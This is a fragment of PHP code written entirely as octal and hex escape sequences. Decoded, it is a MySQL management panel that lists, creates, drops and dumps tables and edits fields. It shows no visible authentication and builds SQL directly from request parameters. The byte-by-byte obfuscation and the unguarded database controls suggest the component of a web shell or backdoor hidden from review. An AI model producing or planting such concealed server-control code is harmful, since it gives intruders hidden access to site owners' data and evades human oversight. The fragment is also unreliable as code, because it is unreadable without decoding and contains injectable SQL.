\x20\60\40\51\x20\x7b\xa\40\x20\x24\x6d\x73\x67\40\x20\x3d\x20\155\x79\x73\161\x6c\x5f\x65\162\x72\x6f\162\50\x29\x3b\xa\x20\x20\x65\143\150\157\x20\x22\x3c\150\63\76\x45\x72\x72\157\x72\x20\x3a\x20\44\155\163\x67\x3c\57\x68\63\76\x3c\x70\76\134\156\x22\x3b\xa\40\40\162\145\x74\165\162\156\73\xa\175\xa\44\156\x75\x6d\40\75\40\155\171\163\x71\154\137\156\165\x6d\x5f\x72\157\167\x73\50\40\44\x70\124\x61\x62\x6c\145\x20\x29\73\12\12\145\143\150\x6f\x20\42\x3c\x74\141\142\x6c\145\x20\x63\x65\154\x6c\x73\160\x61\143\x69\156\x67\75\x31\40\143\x65\154\x6c\x70\141\x64\x64\151\x6e\x67\x3d\65\76\x5c\x6e\42\73\xa\12\x66\x6f\162\x28\x20\44\151\x20\75\40\x30\x3b\40\44\x69\40\x3c\40\44\x6e\x75\x6d\x3b\x20\44\x69\x2b\x2b\x20\x29\x20\x7b\12\40\x20\44\164\141\142\154\x65\x6e\141\155\x65\x20\75\40\155\171\163\x71\x6c\x5f\164\x61\142\x6c\145\156\141\155\x65\x28\x20\x24\160\x54\141\142\154\145\54\x20\44\151\40\51\x3b\12\12\40\x20\x65\143\150\157\40\42\74\x74\162\x3e\134\156\42\x3b\xa\40\40\145\143\x68\157\x20\x22\74\164\x64\76\134\x6e\x22\x3b\xa\x20\x20\x65\x63\150\157\x20\42\x24\164\x61\142\x6c\145\156\141\x6d\x65\134\x6e\42\x3b\12\x20\x20\x65\143\150\157\40\x22\x3c\57\x74\144\x3e\134\x6e\x22\73\12\40\x20\x65\x63\150\x6f\x20\42\x3c\164\144\76\x5c\156\42\x3b\xa\40\x20\145\x63\x68\157\40\42\74\x61\x20\x68\162\x65\146\75\x27\44\120\110\120\137\x53\105\114\x46\x3f\141\x63\x74\151\157\156\75\x76\151\x65\167\123\x63\x68\x65\x6d\x61\x26\x64\142\156\x61\155\145\x3d\44\144\x62\x6e\x61\155\x65\46\x74\x61\142\x6c\145\x6e\141\155\x65\75\x24\164\x61\x62\x6c\x65\156\x61\155\x65\x27\x3e\123\143\150\x65\155\141\74\57\x61\76\134\x6e\x22\x3b\12\x20\x20\x65\143\x68\x6f\x20\x22\x3c\57\x74\x64\76\x5c\x6e\42\73\xa\x20\40\x65\143\x68\x6f\40\x22\74\164\144\x3e\x5c\x6e\x22\x3b\xa\x20\x20\145\143\x68\157\x20\x22\x3c\141\40\150\162\x65\x66\75\47\x24\120\110\x50\x5f\123\x45\x4c\x46\77\141\x63\164\x69\157\x6e\x3d\166\151\145\167\104\141\164\141\46\144\x62\x6e\141\x6d\x65\75\x24\144\142\156\x61\x6d\x65\x26\164\x61\x62\x6c\x65\156\141\155\145\x3d\x24\164\x61\x62\x6c\x65\x6e\141\x6d\145\x27\x3e\x44\x61\164\x61\x3c\x2f\141\76\x5c\156\x22\73\12\x20\x20\145\143\150\x6f\40\42\x3c\57\x74\144\x3e\134\x6e\42\x3b\12\40\40\145\x63\150\157\x20\42\x3c\164\x64\76\x5c\x6e\42\x3b\12\40\x20\145\x63\150\x6f\40\42\74\x61\x20\x68\x72\145\146\75\47\x24\120\110\120\137\x53\105\x4c\106\x3f\141\143\x74\151\157\156\x3d\x64\x72\x6f\x70\124\141\x62\154\x65\46\144\x62\156\x61\x6d\x65\x3d\x24\144\x62\x6e\x61\x6d\x65\46\164\x61\142\x6c\145\156\x61\155\145\75\x24\x74\x61\142\154\145\x6e\141\x6d\x65\x27\40\x6f\x6e\103\x6c\x69\143\x6b\x3d\x5c\42\x72\145\164\x75\x72\x6e\x20\143\157\156\x66\x69\162\x6d\50\47\x44\162\x6f\x70\x20\x44\x61\x74\x61\x62\x61\163\x65\40\x5c\47\44\x64\x62\x6e\141\x6d\x65\134\47\x3f\47\x29\x5c\x22\76\104\162\157\160\x3c\x2f\141\x3e\x5c\156\x22\x3b\12\40\x20\145\143\x68\x6f\40\42\x3c\57\x74\x64\76\x5c\156\42\x3b\12\x20\x20\145\143\150\x6f\x20\42\x3c\x74\x64\x3e\x5c\x6e\42\73\xa\40\x20\145\143\150\157\x20\x22\x3c\141\x20\150\162\x65\146\75\47\x24\120\x48\x50\137\123\105\x4c\106\x3f\x61\x63\164\x69\x6f\156\75\x64\165\x6d\160\x54\141\142\154\x65\x26\x64\142\x6e\141\x6d\145\75\44\x64\142\x6e\141\155\145\46\x74\141\x62\x6c\x65\156\141\155\x65\75\x24\164\141\x62\154\145\x6e\x61\155\x65\47\76\x44\165\x6d\160\x3c\x2f\141\x3e\134\x6e\42\73\xa\40\40\145\x63\x68\x6f\x20\42\74\57\164\144\76\x5c\156\x22\73\12\x20\x20\x65\143\150\157\x20\42\74\x2f\164\x72\x3e\134\156\42\73\xa\175\12\12\x65\143\x68\157\40\x22\x3c\x2f\164\x61\x62\154\x65\76\x22\x3b\xa\175\xa\xa\x66\165\156\x63\x74\151\157\156\40\143\x72\x65\x61\x74\145\124\x61\x62\154\x65\50\x29\40\173\xa\147\x6c\157\x62\141\x6c\40\x24\x6d\x79\163\x71\x6c\110\x61\156\x64\154\x65\54\40\44\144\142\156\x61\155\x65\x2c\x20\x24\164\141\x62\154\145\156\x61\155\145\54\40\44\120\110\120\x5f\x53\105\114\106\x2c\40\x24\161\x75\145\162\x79\x53\164\162\x2c\40\x24\145\162\162\x4d\163\147\73\xa\xa\44\x71\x75\x65\x72\x79\123\x74\x72\40\x3d\x20\x22\x43\x52\105\101\124\x45\x20\x54\101\x42\x4c\105\40\44\x74\x61\142\154\145\156\x61\x6d\x65\40\x28\x20\x6e\157\x20\x49\x4e\x54\40\x29\42\x3b\xa\x6d\171\x73\x71\x6c\x5f\x73\x65\154\x65\x63\x74\137\x64\142\50\40\x24\x64\142\x6e\141\155\145\54\x20\44\x6d\x79\163\161\x6c\x48\141\156\x64\154\x65\40\x29\x3b\xa\155\171\x73\161\x6c\137\161\165\x65\x72\171\x28\40\x24\161\165\x65\x72\171\123\164\162\x2c\40\x24\x6d\171\163\x71\154\110\x61\156\x64\154\x65\x20\x29\73\xa\44\x65\162\162\x4d\163\x67\40\x3d\x20\155\x79\x73\161\x6c\x5f\145\x72\162\x6f\x72\50\x29\x3b\12\12\x6c\x69\x73\164\124\141\142\154\145\163\x28\x29\x3b\12\175\12\xa\146\x75\156\x63\x74\151\x6f\156\40\x64\x72\157\x70\124\x61\x62\x6c\145\x28\x29\x20\x7b\12\x67\154\157\x62\141\x6c\x20\x24\x6d\x79\x73\161\x6c\x48\x61\x6e\x64\154\x65\54\x20\44\x64\142\156\141\x6d\x65\x2c\40\44\x74\141\x62\154\145\x6e\x61\155\145\x2c\40\44\120\x48\120\x5f\123\x45\x4c\106\x2c\x20\x24\161\165\x65\x72\x79\123\x74\162\x2c\40\44\145\162\x72\x4d\163\x67\x3b\xa\12\44\161\x75\x65\x72\x79\123\x74\162\x20\x3d\x20\x22\104\x52\x4f\120\40\x54\101\x42\x4c\x45\40\44\164\141\x62\154\145\156\x61\155\x65\42\73\xa\x6d\x79\163\161\154\137\x73\145\x6c\145\x63\164\x5f\144\142\50\x20\x24\x64\x62\156\141\155\145\54\x20\44\155\x79\163\161\154\x48\141\x6e\144\154\145\x20\x29\x3b\xa\155\171\x73\x71\x6c\137\161\165\145\162\171\50\40\x24\x71\x75\145\162\171\123\164\x72\x2c\40\44\x6d\171\x73\x71\154\110\141\156\144\x6c\145\40\51\73\xa\44\x65\162\162\x4d\163\147\x20\75\x20\155\x79\x73\161\154\x5f\x65\162\x72\x6f\162\x28\x29\x3b\12\12\x6c\151\163\x74\x54\x61\x62\154\x65\x73\x28\51\x3b\xa\175\12\xa\x66\165\156\143\164\x69\157\x6e\40\x76\151\145\167\x53\143\x68\145\x6d\x61\x28\51\x20\x7b\12\x67\154\157\142\141\x6c\40\44\155\171\163\161\154\110\141\x6e\144\154\145\x2c\40\x24\144\142\x6e\x61\x6d\145\54\40\x24\x74\141\142\154\x65\156\141\155\145\54\40\x24\120\110\120\137\x53\x45\x4c\x46\x2c\40\x24\x71\x75\145\x72\x79\x53\x74\x72\x2c\x20\44\x65\162\162\x4d\x73\147\x3b\12\xa\x65\143\x68\157\40\42\74\x68\x31\x3e\x54\141\142\x6c\x65\40\123\x63\x68\x65\x6d\141\74\x2f\x68\x31\x3e\134\x6e\42\73\12\145\143\x68\157\x20\42\x3c\160\40\x63\x6c\x61\x73\x73\75\x6c\x6f\x63\141\164\x69\x6f\156\x3e\x24\144\142\156\x61\155\145\x20\46\x67\x74\73\40\x24\164\141\x62\154\x65\156\x61\x6d\x65\74\57\x70\76\x5c\156\42\x3b\xa\12\x65\x63\150\x6f\x51\x75\x65\x72\171\x52\145\163\x75\x6c\x74\50\51\x3b\xa\12\145\143\x68\x6f\40\x22\x3c\141\40\x68\162\x65\x66\75\47\44\120\x48\x50\137\x53\105\x4c\106\77\141\x63\x74\x69\x6f\156\75\141\x64\x64\106\x69\x65\154\144\46\144\x62\x6e\141\155\x65\75\x24\x64\142\x6e\x61\x6d\x65\x26\164\141\x62\x6c\145\156\x61\x6d\145\x3d\x24\164\x61\x62\x6c\x65\x6e\141\155\145\x27\76\x41\144\144\40\106\151\x65\x6c\x64\74\57\141\76\40\174\x20\134\156\x22\x3b\12\x65\143\150\x6f\40\42\x3c\141\x20\x68\162\145\x66\75\x27\44\x50\110\x50\137\x53\x45\114\x46\77\141\x63\x74\151\157\156\x3d\x76\x69\145\167\x44\141\164\141\46\x64\142\156\141\155\145\x3d\x24\144\x62\x6e\x61\155\145\46\164\141\x62\x6c\145\156\141\155\145\75\x24\164\x61\142\x6c\145\156\141\x6d\x65\47\x3e\x56\151\145\167\x20\104\x61\x74\141\x3c\x2f\141\x3e\x5c\156\x22\x3b\12\x65\x63\150\x6f\x20\42\x3c\150\162\x3e\x5c\x6e\42\73\12\12\x24\160\122\145\163\165\154\164\40\75\x20\x6d\171\163\x71\x6c\137\144\x62\137\161\165\145\162\x79\50\40\x24\144\x62\x6e\x61\x6d\145\54\x20\x22\x53\x48\x4f\x57\40\x66\151\145\154\x64\163\40\106\x52\x4f\x4d\x20\44\x74\x61\x62\x6c\145\156\141\x6d\x65\42\40\51\x3b\xa\x24\x6e\165\155\x20\75\x20\155\x79\x73\x71\154\137\x6e\165\155\x5f\x72\x6f\x77\163\x28\40\x24\x70\122\145\x73\x75\154\x74\40\51\73\xa\12\145\143\x68\x6f\40\x22\74\164\x61\142\154\x65\x20\x63\x65\154\x6c\163\x70\x61\143\x69\156\147\x3d\61\40\x63\x65\x6c\154\160\x61\x64\x64\x69\x6e\147\x3d\65\76\134\x6e\42\73\12\x65\143\x68\x6f\40\42\x3c\164\x72\76\x5c\156\42\73\xa\145\x63\x68\157\x20\42\74\x74\x68\76\x46\151\145\x6c\144\74\57\x74\x68\76\134\156\42\73\12\x65\143\x68\157\40\x22\x3c\164\150\76\x54\x79\160\145\x3c\x2f\x74\150\x3e\134\x6e\x22\x3b\xa\145\143\x68\x6f\40\42\x3c\164\150\x3e\116\165\x6c\154\x3c\57\164\150\x3e\x5c\156\x22\73\xa\x65\x63\150\x6f\x20\x22\74\x74\150\x3e\x4b\x65\x79\x3c\57\x74\x68\x3e\x5c\x6e\x22\73\xa\145\x63\x68\x6f\x20\42\74\x74\x68\76\104\145\146\x61\165\154\164\x3c\57\164\150\x3e\134\156\42\x3b\12\145\143\150\157\x20\42\74\164\150\x3e\105\170\x74\x72\x61\x3c\57\x74\150\76\134\156\x22\73\xa\145\143\150\x6f\40\42\x3c\x74\x68\40\143\157\154\x73\160\141\156\75\62\76\101\143\164\151\157\156\74\57\x74\150\x3e\x5c\156\x22\73\xa\145\x63\x68\x6f\40\42\x3c\57\164\x72\76\134\x6e\x22\73\12\xa\146\x6f\162\x28\x20\x24\x69\x20\x3d\40\60\x3b\40\44\x69\x20\x3c\40\x24\156\x75\155\73\40\44\151\x2b\53\40\51\40\173\xa\40\x20\x24\146\151\x65\154\144\40\75\40\155\171\163\161\154\137\x66\145\x74\143\150\137\x61\x72\162\x61\x79\50\40\44\160\122\145\x73\x75\154\x74\x20\x29\73\xa\x20\x20\x65\143\150\157\x20\x22\74\164\162\x3e\x5c\x6e\x22\x3b\xa\x20\x20\x65\x63\150\x6f\40\42\x3c\x74\x64\x3e\42\56\44\146\151\x65\154\144\x5b\x22\x46\151\x65\x6c\x64\x22\x5d\56\x22\74\x2f\164\x64\x3e\x5c\x6e\42\x3b\xa\x20\40\x65\x63\x68\x6f\40\42\74\164\144\x3e\x22\x2e\x24\x66\x69\145\154\144\133\42\x54\x79\160\145\42\x5d\56\x22\74\x2f\x74\x64\x3e\x5c\x6e\42\73\12\40\40\x65\x63\x68\x6f\40\x22\74\x74\144\x3e\x22\56\44\146\151\145\154\x64\x5b\x22\x4e\x75\154\154\42\x5d\x2e\x22\x3c\x2f\x74\x64\x3e\x5c\156\42\73\xa\40\x20\145\143\150\x6f\40\x22\x3c\x74\x64\x3e\42\x2e\x24\146\151\x65\x6c\144\x5b\x22\113\x65\171\42\x5d\x2e\x22\x3c\57\x74\144\76\x5c\156\x22\73\xa\x20\x20\x65\x63\150\x6f\x20\x22\x3c\164\x64\x3e\42\56\x24\146\x69\145\x6c\144\133\x22\104\x65\x66\x61\165\x6c\164\x22\x5d\56\x22\74\x2f\164\144\x3e\134\156\x22\x3b\xa\40\40\x65\x63\150\x6f\x20\42\x3c\x74\x64\76\42\56\x24\146\151\145\x6c\144\133\42\105\x78\164\162\x61\x22\x5d\56\42\74\57\164\144\x3e\x5c\x6e\x22\73\12\40\x20\44\x66\x69\145\154\x64\x6e\141\x6d\145\x20\x3d\x20\x24\146\x69\145\x6c\x64\x5b\42\x46\151\x65\x6c\144\42\x5d\73\12\40\40\x65\143\150\157\40\42\74\164\x64\76\x3c\x61\40\x68\x72\145\x66\75\47\x24\120\x48\120\x5f\123\x45\114\x46\x3f\141\x63\164\151\x6f\156\75\145\x64\x69\164\x46\x69\x65\154\x64\x26\144\x62\156\141\x6d\x65\75\x24\144\x62\156\x61\x6d\145\x26\164\141\x62\154\145\156\x61\x6d\145\75\44\x74\x61\142\154\x65\x6e\141\155\x65\x26\146\x69\145\x6c\144\x6e\141\x6d\145\75\44\146\x69\x65\154\144\156\x61\155\x65\47\x3e\105\144\x69\164\x3c\x2f\x61\x3e\74\x2f\x74\144\x3e\x5c\x6e\x22\x3b\12\x20\x20\x65\x63\x68\157\40\x22\74\164\144\x3e\x3c\141\x20\x68\162\x65\x66\x3d\x27\44\x50\110\x50\137\x53\105\114\106\x3f\x61\143\x74\151\157\156\75\x64\x72\157\x70\106\x69\145\154\x64\46\144\142\156\x61\155\x65\x3d\44\x64\x62\156\141\x6d\145\x26\x74\x61\142\x6c\x65\x6e\x61\x6d\x65\x3d\44\164\141\x62\154\145\156\x61\155\x65\46\x66\x69\145\x6c\x64\156\x61\155\145\x3d\44\146\151\145\154\144\x6e\x61\155\145\x27\x20\157\156\103\154\151\143\x6b\x3d\134\42\162\145\164\165\162\156\40\143\x6f\156\x66\151\162\x6d\x28\x27\x44\x72\157\160\x20\106\x69\x65\x6c\144\40\134\x27\x24\x66\151\145\154\144\156\x61\x6d\145\134\47\x3f\x27\x29\x5c\x22\x3e\104\x72\157\160\x3c\57\x61\76\x3c\x2f\164\144\76\134\156\42\73\12\40\40\x65\x63\x68\157\40\42\74\x2f\x74\162\x3e\x5c\156\x22\73\12\x7d\12\x65\x63\x68\157\40\x22\x3c\57\164\x61\142\154\x65\x3e\134\x6e\x22\x3b\12\x7d\xa\xa\146\165\x6e\x63\x74\151\157\156\x20\x6d\141\x6e\x61\x67\145\x46\x69\145\x6c\x64\50\x20\x24\143\x6d\x64\x20\51\40\x7b\12\147\x6c\x6f\x62\141\154\40\44\155\171\163\x71\x6c\110\141\x6e\144\x6c\x65\54\40\x24\x64\142\x6e\x61\155\x65\54\40\x24\x74\x61\142\x6c\145\x6e\141\x6d\x65\54\40\x24\146\151\x65\x6c\x64\x6e\141\x6d\145\x2c\40\x24\120\110\x50\x5f\123\105\114\106\73\xa\12\151\x66\50\x20\x24\143\155\144\40\x3d\75\40\x22\141\x64\x64\42\40\x29\xa\x20\40\x65\143\150\157\40\42\x3c\150\x31\76\101\144\x64\x20\106\x69\145\154\144\74\57\150\x31\76\134\x6e\42\x3b\12\x65\154\163\145\40\x69\146\50\40\44\x63\155\144\x20\x3d\75\40\x22\145\144\x69\x74\x22\x20\51\40\x7b\12\40\40\145\143\150\x6f\40\42\x3c\x68\x31\76\105\144\x69\x74\x20\x46\x69\145\154\x64\74\57\x68\61\x3e\x5c\x6e\x22\x3b\12\40\x20\x24\160\x52\145\x73\165\154\x74\x20\75\40\155\x79\x73\x71\154\137\x64\142\x5f\161\165\x65\x72\x79\x28\40\x24\x64\142\x6e\x61\155\x65\x2c\40\42\123\x48\117\x57\x20\x66\x69\145\154\144\163\40\x46\x52\117\x4d\x20\x24\x74\x61\x62\154\x65\156\141\x6d\145\x22\x20\x29\x3b\xa\40\x20\44\x6e\165\x6d\x20\x3d\x20\x6d\x79\x73\161\154\x5f\156\165\155\x5f\x72\x6f\x77\163\x28\40\44\x70\x52\145\x73\x75\x6c\x74\x20\x29\73\xa\x20\40\146\157\x72\x28\40\x24\x69\x20\x3d\x20\x30\x3b\x20\x24\x69\40\x3c\x20\x24\156\x75\155\x3b\40\44\x69\x2b\x2b\40\x29\x20\173\xa\40\x20\44\146\x69\x65\x6c\144\x20\75\40\x6d\x79\163\161\154\x5f\x66\x65\164\x63\x68\137\141\x72\162\x61\x79\50\40\44\x70\x52\x65\163\165\x6c\164\x20\51\x3b\xa\x20\x20\x69\146\x28\x20\x24\x66\151\x65\154\x64\x5b\x22\x46\x69\x65\x6c\x64\x22\x5d\x20\x3d\x3d\40\x24\x66\x69\x65\154\144\x6e\141\155\x65\x20\51\x20\x7b\12\40\x20\40\40\44\146\x69\145\x6c\x64\x74\x79\x70\x65\x20\x3d\x20\x24\146\151\145\x6c\x64\x5b\42\x54\171\160\x65\42\x5d\73\xa\40\x20\40\x20\x24\x66\x69\x65\154\144\153\145\x79\40\75\40\44\146\x69\145\154\144\x5b\x22\x4b\145\171\x22\x5d\73\12\x20\40\40\40\44\x66\151\x65\x6c\x64\x65\x78\164\162\141\40\x3d\x20\44\146\x69\145\154\x64\133\42\105\x78\164\162\x61\x22\135\73\xa\x20\40\x20\40\x24\x66\x69\145\x6c\x64\156\165\x6c\154\x20\75\x20\44\x66\x69\145\x6c\144\x5b\42\116\x75\154\154\42\135\73\12\x20\x20\x20\40\x24\x66\x69\145\x6c\144\144\x65\x66\x61\165\x6c\164\40\75\x20\x24\146\151\145\x6c\144\133\42\x44\x65\146\141\x75\x6c\x74\x22\x5d\x3b\12\x20\x20\x20\40\x62\162\145\x61\153\x3b\12\x20\x20\175\xa\40\x20\175\xa\x20\40\44\x74\x79\x70\145\x20\x3d\x20\x73\x74\x72\164\x6f\x6b\x28\40\x24\146\x69\x65\x6c\x64\x74\171\x70\145\54\x20\42\x20\50\x2c\51\x5c\156\42\40\51\73\12\x20\40\x69\146\50\40\163\164\162\x70\157\x73\x28\40\x24\x66\151\145\154\x64\x74\171\160\145\54\40\x22\x28\x22\40\51\x20\x29\40\173\12\x20\40\151\146\50\x20\x24\164\x79\x70\x65\40\x3d\x3d\x20\x22\x65\156\165\x6d\x22\40\174\40\x24\x74\x79\160\x65\x20\x3d\75\x20\42\x73\x65\x74\42\x20\x29\x20\x7b\xa\40\x20\40\x20\44\166\141\154\x75\x65\x6c\x69\x73\x74\40\x3d\x20\163\164\162\x74\x6f\153\50\40\42\40\50\51\134\156\42\x20\x29\73\12\40\x20\x7d\40\x65\x6c\x73\x65\40\173\xa\x20\40\x20\40\44\115\x20\x3d\x20\x73\x74\x72\164\157\153\x28\x20\42\x20\50\54\51\x5c\156\x22\40\51\x3b\xa\40\x20\40\x20\151\146\50\40\x73\164\x72\x70\x6f\163\50\40\44\146\x69\145\x6c\x64\164\x79\x70\x65\54\x20\x22\x2c\x22\40\51\x20\x29\xa\x20\40\40\40\x24\104\40\75\x20\x73\164\162\164\157\153\50\x20\x22\40\50\54\51\x5c\x6e\x22\40\51\x3b\12\40\40\175\12\x20\40\175\12\175\12\xa\145\143\x68\x6f\x20\42\x3c\x70\40\x63\154\x61\163\x73\75\154\157\143\141\164\x69\x6f\156\x3e\x24\x64\142\156\141\x6d\145\x20\x26\147\x74\x3b\40\44\x74\141\142\x6c\x65\156\x61\155\x65\74\x2f\160\x3e\134\x6e\x22\x3b\12\x65\x63\150\157\x20\x22\x3c\x66\157\x72\155\x20\141\x63\x74\x69\x6f\x6e\x3d\44\120\110\x50\137\x53\105\114\106\x3e\134\x6e\x22\x3b\xa\xa\151\146\50\x20\44\x63\x6d\144\x20\x3d\75\40\x22\141\144\144\x22\x20\51\xa\x20\x20\x65\143\x68\x6f\x20\42\x3c\x69\156\x70\x75\x74\40\164\x79\x70\x65\75\x68\151\x64\x64\x65\156\x20\156\141\155\145\x3d\141\143\164\151\x6f\x6e\40\166\x61\154\165\x65\x3d\x61\x64\x64\x46\151\145\x6c\x64\137\163\x75\142\155\151\x74\x3e\x5c\156\x22\x3b\xa\x65\154\163\x65\40\x69\146\50\40\44\x63\x6d\144\x20\x3d\x3d\x20\x22\x65\x64\151\164\x22\x20\51\x20\x7b\12\x20\40\x65\x63\x68\x6f\x20\x22\x3c\151\x6e\160\165\164\x20\x74\x79\160\145\x3d\150\151\144\x64\x65\156\x20\156\141\155\x65\75\x61\143\x74\151\x6f\156\40\166\x61\154\165\145\x3d\145\144\x69\164\x46\x69\x65\x6c\144\137\x73\165\142\x6d\151\164\76\x5c\x6e\42\x3b\12\40\x20\x65\143\x68\x6f\x20\42\74\x69\x6e\160\165\x74\40\x74\171\x70\x65\75\x68\151\x64\x64\145\x6e\40\156\x61\x6d\145\75\x6f\154\x64\x5f\x6e\141\x6d\145\x20\x76\x61\154\x75\x65\x3d\x24\x66\151\145\x6c\144\x6e\141\x6d\x65\x3e\134\x6e\x22\x3b\12\175\xa\x65\143\150\x6f\40\42\74\151\x6e\160\165\164\40\164\x79\160\145\x3d\x68\151\144\144\x65\x6e\x20\156\x61\x6d\x65\x3d\144\x62\156\141\155\x65\x20\x76\x61\x6c\165\145\75\44\144\x62\x6e\x61\x6d\145\76\x5c\156\42\x3b\12\x65\143\x68\x6f\40\42\74\151\x6e\x70\165\x74\40\164\x79\160\145\75\150\151\144\x64\145\x6e\x20\156\141\x6d\x65\x3d\164\141\142\154\x65\x6e\x61\155\x65\40\x76\x61\154\165\145\x3d\44\164\141\x62\x6c\145\156\141\x6d\x65\76\134\156\42\73\12\xa\145\x63\x68\x6f\40\42\x3c\x68\x33\x3e\116\x61\155\x65\x3c\x2f\x68\63\76\134\x6e\x22\73\xa\x65\143\150\157\40\x22\x3c\151\156\160\x75\x74\40\164\171\160\x65\75\164\x65\170\164\x20\x6e\141\x6d\145\x3d\156\x61\x6d\145\40\x76\141\154\165\145\x3d\x24\x66\x69\x65\x6c\x64\x6e\141\x6d\x65\76\74\x70\76\134\x6e\x22\73\xa\x3f\76\xa\xa\74\150\63\x3e\x54\171\x70\145\x3c\57\x68\63\x3e\xa\xa\x3c\146\157\156\164\x20\x73\151\172\145\x3d\x32\76\xa\52\x20\140\x4d\x27\40\151\156\x64\151\x63\x61\x74\x65\163\40\164\x68\145\40\155\141\170\x69\155\x75\x6d\x20\x64\x69\x73\x70\x6c\141\x79\x20\x73\151\x7a\145\56\x3c\x62\162\x3e\xa\x2a\40\x60\x44\47\40\141\x70\x70\154\x69\145\x73\x20\x74\157\x20\146\x6c\x6f\x61\x74\x69\156\147\x2d\160\x6f\x69\156\164\x20\164\x79\x70\x65\x73\40\141\x6e\144\40\x69\x6e\144\151\143\x61\x74\145\163\40\x74\150\145\x20\156\x75\155\x62\x65\x72\40\157\146\x20\144\151\x67\151\164\x73\x20\x66\157\154\x6c\157\x77\x69\x6e\147\x20\x74\150\x65\40\144\x65\143\151\x6d\x61\x6c\x20\160\157\151\x6e\164\56\x3c\x62\x72\x3e\12\74\x2f\x66\157\x6e\164\x3e\xa\xa\74\164\x61\142\154\x65\76\xa\x3c\x74\x72\76\xa\x3c\x74\150\76\124\x79\x70\145\74\57\164\150\76\x3c\x74\150\76\46\x6e\142\163\x70\115\46\156\x62\163\x70\74\x2f\164\x68\76\74\x74\x68\76\46\x6e\x62\163\160\104\x26\x6e\142\163\160\x3c\57\x74\x68\x3e\x3c\164\150\x3e\165\x6e\x73\x69\x67\156\145\144\74\x2f\x74\150\76\x3c\x74\150\76\x7a\145\162\157\146\151\x6c\154\x3c\57\x74\150\x3e\74\x74\150\x3e\x62\x69\x6e\x61\x72\x79\x3c\57\164\x68\76\12\74\57\x74\162\x3e\xa\74\164\x72\76\12\x3c\164\x64\76\x3c\151\156\160\165\x74\x20\x74\x79\160\145\75\x72\x61\144\x69\157\40\156\x61\x6d\145\75\x74\x79\160\145\x20\x76\141\154\x75\145\x3d\42\124\111\x4e\x59\111\x4e\x54\42\x20\x3c\x3f\x20\151\146\50\40\x24\x74\x79\160\145\x20\75\x3d\x20\x22\164\151\156\171\151\x6e\164\42\x20\x29\40\x65\x63\x68\x6f\40\42\143\150\145\143\x6b\x65\144\x22\x3b\x3f\x3e\x3e\124\111\116\131\x49\x4e\x54\40\50\x2d\x31\62\70\x20\176\40\61\x32\x37\51\74\57\x74\x64\76\xa\x3c\164\144\40\x61\x6c\151\147\156\x3d\x63\145\156\x74\145\x72\x3e\117\74\57\x74\x64\76\xa\x3c\164\x64\76\x26\x6e\x62\163\160\74\57\x74\144\76\12\74\x74\144\40\141\154\x69\x67\x6e\75\143\x65\x6e\x74\x65\162\76\117\x3c\57\164\144\x3e\12\x3c\x74\x64\x20\x61\154\x69\x67\156\75\143\x65\156\x74\145\162\76\117\74\57\164\x64\x3e\12\x3c\164\144\76\x26\156\x62\x73\x70\x3c\x2f\x74\x64\76\xa\74\x2f\164\162\x3e\12\x3c\164\x72\76\12\x3c\164\x64\x3e\74\151\156\160\x75\x74\40\164\171\x70\145\75\162\141\x64\x69\157\40\x6e\141\155\145\75\164\171\x70\x65\x20\166\141\154\x75\145\x3d\x22\x53\x4d\x41\114\114\x49\116\124\42\40\74\x3f\x20\x69\x66\50\40\x24\164\x79\x70\145\40\75\x3d\x20\42\x73\x6d\x61\x6c\x6c\151\x6e\164\x22\40\x29\40\145\x63\150\x6f\x20\x22\x63\150\x65\x63\153\x65\144\42\x3b\x3f\x3e\76\x53\x4d\x41\114\114\111\x4e\x54\x20\50\55\63\62\x37\66\x38\40\x7e\40\63\x32\x37\66\x37\51\x3c\x2f\x74\x64\x3e\12\74\164\144\x20\141\x6c\x69\147\x6e\x3d\x63\x65\156\164\x65\162\x3e\117\74\x2f\164\144\x3e\xa\74\x74\144\x3e\46\156\142\x73\x70\x3c\57\164\x64\76\xa\x3c\x74\x64\40\141\x6c\x69\147\156\x3d\x63\145\x6e\164\145\x72\x3e\117\x3c\57\x74\144\x3e\12\x3c\x74\144\40\x61\x6c\x69\x67\x6e\x3d\x63\x65\x6e\164\x65\x72\76\x4f\74\57\164\144\76\xa\74\x74\x64\76\x26\x6e\142\163\160\74\57\164\144\x3e\12\74\57\x74\x72\76\12\74\164\162\x3e\xa\x3c\164\x64\x3e\x3c\x69\156\160\165\x74\x20\164\171\x70\x65\x3d\162\x61\144\x69\x6f\40\156\141\155\145\75\x74\171\160\x65\x20\166\x61\x6c\x75\145\x3d\x22\115\x45\104\111\125\x4d\111\116\124\x22\40\74\77\x20\151\x66\50\x20\44\164\171\160\145\x20\75\75\x20\x22\155\x65\144\151\165\x6d\151\x6e\164\x22\x20\x29\x20\145\x63\x68\157\x20\42\143\150\x65\143\x6b\x65\x64\x22\73\77\x3e\x3e\x4d\x45\104\111\x55\x4d\x49\116\124\x20\50\55\x38\63\x38\x38\x36\x30\x38\x20\176\x20\x38\63\70\x38\66\60\67\51\74\x2f\x74\x64\x3e\12\x3c\164\x64\40\141\x6c\x69\147\156\x3d\143\145\156\x74\x65\162\76\117\74\57\164\144\76\12\x3c\x74\x64\x3e\46\156\142\163\160\x3c\x2f\164\x64\76\xa\x3c\164\x64\40\141\x6c\x69\147\x6e\x3d\x63\145\x6e\x74\145\162\x3e\x4f\x3c\57\164\144\x3e\xa\x3c\x74\144\40\141\x6c\151\x67\156\x3d\143\145\156\164\145\x72\76\117\x3c\57\164\144\76\xa\x3c\x74\144\x3e\x26\x6e\x62\163\160\74\x2f\x74\x64\x3e\12\74\x2f\x74\x72\76\xa\x3c\164\162\x3e\12\x3c\x74\144\76\x3c\151\x6e\160\x75\164\40\x74\x79\160\x65\75\162\x61\144\x69\157\x20\156\141\155\145\75\164\171\160\145\x20\x76\141\154\x75\x65\x3d\42\111\x4e\124\x22\40\74\77\40\x69\146\x28\x20\x24\x74\x79\x70\x65\x20\75\x3d\x20\42\151\x6e\164\42\40\x29\x20\x65\143\x68\157\40\42\x63\150\x65\x63\x6b\x65\144\42\x3b\x3f\76\x3e\x49\x4e\x54\40\50\x2d\x32\61\x34\x37\x34\70\63\x36\x34\x38\x20\x7e\40\62\61\x34\x37\x34\x38\x33\x36\x34\x37\51\x3c\57\164\x64\76\xa\x3c\164\144\40\141\x6c\151\x67\x6e\75\143\x65\x6e\x74\x65\162\x3e\x4f\74\x2f\164\144\76\xa\x3c\x74\144\x3e\x26\156\142\163\160\74\57\164\x64\76\xa\x3c\164\x64\40\x61\x6c\151\x67\x6e\x3d\143\x65\x6e\x74\x65\x72\76\117\74\57\x74\144\x3e\xa\74\164\x64\x20\141\x6c\151\x67\156\75\143\145\156\164\x65\